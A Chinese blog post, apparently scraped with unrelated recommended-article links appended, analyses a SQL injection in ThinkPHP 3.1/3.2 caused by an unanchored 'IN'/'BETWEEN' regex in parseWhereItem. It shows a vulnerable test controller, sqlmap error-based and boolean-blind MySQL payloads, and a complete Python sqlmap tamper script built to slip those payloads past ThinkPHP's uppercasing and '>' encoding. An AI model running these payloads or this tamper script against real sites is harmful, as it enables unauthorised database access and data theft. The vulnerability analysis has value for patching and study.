Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分

0x01分析

 
 
 
 
 

PHP

 
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match('/BETWEEN/i',$val[0]) //同上

1
2
3
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入
 
preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证

 
 
 
 
 
 

PHP

 
class IndexAction extends Action {
public function index(){
$user = I("param.user");
$pass = I("param.pass");
$where["user"] = $user;
$where["pass"] = $pass;

var_dump($where);
$model = M("user");
$data = $model->where($where)->select();
echo $model->getLastSql(); // 打印sql语句
echo "<br/>";
var_dump($data); // 打印数据
die(mysql_error()); // 打印错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class IndexAction extends Action {
    public function index(){
          $user  =  I("param.user");
      $pass  =  I("param.pass");
      $where["user"] = $user;
      $where["pass"] = $pass;
      
      
      var_dump($where);
        $model = M("user");
        $data =  $model->where($where)->select();
      echo $model->getLastSql(); //   打印sql语句
      echo "<br/>";
      var_dump($data);     // 打印数据
      die(mysql_error());  //  打印错误

1.1正常访问

1.2poc

0x03编写支持此注入的tamper
(支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

 
 
 
 
 
 

PHP

 
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的 **/
1
2
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1 为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

1
2
3
4
5
6
7
8
9
10
11
12
13
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
 
 
payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1  为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

 
 
 
 
 
 

Python

 
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"\n")
t = re.findall('(0x\w+)',payload.lower())
for expression in t:
d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall('or (.+)>(\d+)',payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"\n")
return payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
    d = {"ror":"rand","and":"or"}
    #f.write(payload+"\n")
    t = re.findall('(0x\w+)',payload.lower())
    for expression in t:
        d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])  
    for key in d:
        payload = payload.lower().replace(key,d[key])
    prefix = "in%20(%27xxx%27))%20"
    subfix = "%20--%20"
    payload
    payload = prefix + payload + subfix
    t = re.findall('or (.+)>(\d+)',payload.lower())
    #print payload
    if t:
        payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
    #print payload
    #f.write(payload+"\n")
    return payload

0x04sqlmap 本地测试
4.1boolean based

thinkphp.py

ThinkPHP 3.1、3.2一个通用的漏洞分析的更多相关文章

  1. 编写一个通用的Makefile文件

    1.1在这之前,我们需要了解程序的编译过程 a.预处理:检查语法错误,展开宏,包含头文件等 b.编译:*.c-->*.S c.汇编:*.S-->*.o d.链接:.o +库文件=*.exe ...

  2. Linux C编程学习之开发工具3---多文件项目管理、Makefile、一个通用的Makefile

    GNU Make简介 大型项目的开发过程中,往往会划分出若干个功能模块,这样可以保证软件的易维护性. 作为项目的组成部分,各个模块不可避免的存在各种联系,如果其中某个模块发生改动,那么其他的模块需要相 ...

  3. 封装一个通用递归算法,使用TreeIterator和TreeMap来简化你的开发工作。

    在实际工作中,你肯定会经常的对树进行遍历,并在树和集合之间相互转换,你会频繁的使用递归. 事实上,这些算法在逻辑上都是一样的,因此可以抽象出一个通用的算法来简化工作. 在这篇文章里,我向你介绍,我封装 ...

  4. 一个通用的DataGridView导出Excel扩展方法(支持列数据格式化)

    假如数据库表中某个字段存放的值“1”和“0”分别代表“是”和“否”,要在DataGridView中显示“是”和“否”,一般用两种方法,一种是在sql中直接判断获取,另一种是在DataGridView的 ...

  5. 利用RBAC模型实现一个通用的权限管理系统

    本文主要描述一个通用的权限系统实现思路与过程.也是对此次制作权限管理模块的总结. 制作此系统的初衷是为了让这个权限系统得以“通用”.就是生产一个web系统通过调用这个权限系统(生成的dll文件), 就 ...

  6. 为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式

    为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式,代码如下: public class DataComparer<T>:IEqualityCompare ...

  7. 用Java实现一个通用并发对象池

    这篇文章里我们主要讨论下如何在Java里实现一个对象池.最近几年,Java虚拟机的性能在各方面都得到了极大的提升,因此对大多数对象而言,已经没有必要通过对象池来提高性能了.根本的原因是,创建一个新的对 ...

  8. 一个通用数据库访问类(C#,SqlClient)

    本文转自:http://www.7139.com/jsxy/cxsj/c/200607/114291.html使用ADO.NET时,每次数据库操作都要设置connection属性.建立connecti ...

  9. Java反射结合JDBC写的一个通用DAO

    以前写反射只是用在了与设计模式的结合上,并没有考虑到反射可以与DAO结合.也是一个偶然的机会,被正在上培训的老师点到这个问题,才考虑到这个可能性,于是上网参考各种代码,然后自己动手开发了一个通用DAO ...

随机推荐

  1. idea使用maven逆向mybitis的文件

    引用自 http://blog.csdn.net/for_my_life/article/details/51228098 本文介绍一下用Maven工具如何生成Mybatis的代码及映射的文件. 一. ...

  2. Java精确测量代码运行时间 代码执行时间 纳秒 nanoTime

      Java精确测量代码运行时间:         long startTime = System.nanoTime();  //開始時間         for(int i = 0;i<100 ...

  3. UVALive 5983 MAGRID DP

    题意:在一个n*m的网格上,从(0,0)走到(n-1,m-1),每次只能向右或者向下走一格.一个人最初有一个生命值x,走到每一个格生命值会 变为x + s[i][j],(s[i][j]可为负,0,正) ...

  4. 2015暑假训练(UVALive 5983 - 5992)线段树离线处理+dp

    A: http://acm.hust.edu.cn/vjudge/contest/view.action?cid=83690#problem/A 题意:N*M的格子,从左上走到右下,要求在每个点的权值 ...

  5. Python的高阶函数小结

    一. 高阶函数定义 简而言之,Python的高阶函数就是指一个函数作为参数传递给另外一个函数的用法. 举一个最简单的高阶函数来说明: >>> def add(x,y,f): retu ...

  6. kernel thread vs user thread

    The most important difference is they use different memory, the kernel mode thread can access any ke ...

  7. 利用input-radio和input-checkbox的表单特性可以节省很多js代码

    <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...

  8. 《Linux命令行与shell脚本编程大全 第3版》Linux命令行---11

    以下为阅读<Linux命令行与shell脚本编程大全 第3版>的读书笔记,为了方便记录,特地与书的内容保持同步,特意做成一节一次随笔,特记录如下:

  9. python脚本传递参数

    给python程序传递参数 运行python脚本时有时需要执行实传递参数 在linux下: [root@Test ~]# cat /opt/python.py #!/usr/local/bin/pyt ...

  10. 浏览器中“JavaScript解析器”工作原理

    浏览器在读取HTML文件的时候,只有当遇到<script>标签的时候,才会唤醒所谓的“JavaScript解析器”开始工作. JavaScript解析器工作步骤: 1.“找一些东西”: v ...